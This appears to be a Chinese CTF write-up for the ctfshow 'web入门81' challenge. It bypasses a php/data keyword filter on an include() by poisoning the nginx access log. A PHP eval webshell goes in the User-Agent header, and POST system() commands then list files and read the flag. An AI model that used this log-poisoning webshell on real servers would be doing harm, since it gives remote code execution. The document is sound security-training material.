ctf show web入门81

这是一道非常经典的 文件包含漏洞(LFI) 结合 日志注入(Log Injection) 的 Web 题目。我们可以看到代码将输入的php data :都经行了字符串替换为???对 php 和 data 伪协议进行了过滤,这封死了直接通过 php://filter 或 data:// 获取 Web Shell 的路径。

在这种情况下,日志包含 是最通用的 GetShell 手段

  1. 源码分析漏洞点:include($file) 存在明显的文件包含漏洞。
    防御手段:使用了 str_replace 过滤了 php 和 data 关键字。这意味着你无法使用常用的封装协议(如 php://input)。
    绕过思路:由于它没有过滤斜杠和敏感目录,我们可以尝试包含服务器系统日志。
  2. 核心思路:日志注入
    Web 服务器(如 Nginx 或 Apache)会将每一个 HTTP 请求的信息记录在日志文件中。如果我们发送一个包含 PHP 代码的请求,这段代码就会被写入日志。当我们利用 include 包含该日志文件时,PHP 解释器会执行其中的代码。
    步骤一:定位日志文件
    你需要尝试常见的 Web 日志存放路径(通常在 Linux 下):
    Nginx 日志:/var/log/nginx/access.log 或 /var/log/nginx/error.log
    Apache 日志:/var/log/apache2/access.log 或 /etc/httpd/logs/access_log
    验证方法:
    在 URL 后面尝试访问:?file=/var/log/nginx/access.log。如果页面返回了大量的 HTTP 请求记录,说明路径正确。

发现是nginx文件并且日志内容存在与?file=/var/log/nginx/access.log目录下

打开hackbar添加user-agent 内容为:?php eval($_POST1);?>

在尝试访问日志目录下的文件内容

把url+?file=/var/log/nginx/access.log

并且开启post method在里面输入1=system('ls');

发现了存在两个文件fl0g.php和 index.php我们尝试访问fl0g.php 文件

在body里输入1=system('tac fl0g.php');

得到flag为:$flag="ctfshow{4d942eef-e113-43a5-b4d5-de587112182d}

相关推荐
康小汪2 小时前
AI 写 Vue 总写成同一个味道:给它装 Skills,装的不是知识是边界
前端·vue.js·人工智能·ai编程·最佳实践
zhangrelay2 小时前
新版|-|单片机原理与接口技术-2026持续改进优化-从MEGA2560-ESP32与Wokwi到ROS2-Lyrical与具身智能栈
笔记·单片机·嵌入式硬件·学习
智能运维指南2 小时前
研制过程“两张皮“怎么破:研制一体化支撑平台的定位、能力边界与落地前提
java·前端·人工智能·嘉为蓝鲸
Jimmy3 小时前
深夜突袭:我们的午夜战场
笔记·产品·电子书
白山编程大哥4 小时前
Java 后端如何优雅地把 List 集合返回给前端
java·前端·list
志尊宝4 小时前
AI原生前端开发(025):端侧AI实战项目:智能笔记助手
人工智能·笔记·ai-native
Flynt5 小时前
我把热榜那篇"禁用 axios"逐条实测了一遍:结论大体对,坑在它没讲的地方
前端·javascript·axios
lll23526917795 小时前
线下多人发言对比与录音操作
笔记·智能手机
Csvn5 小时前
bundle优化
前端
北冥有鱼6 小时前
发版后动态路由点击报 `Failed to fetch dynamically imported module`」问题上的完整排查与修复过程
前端·vue.js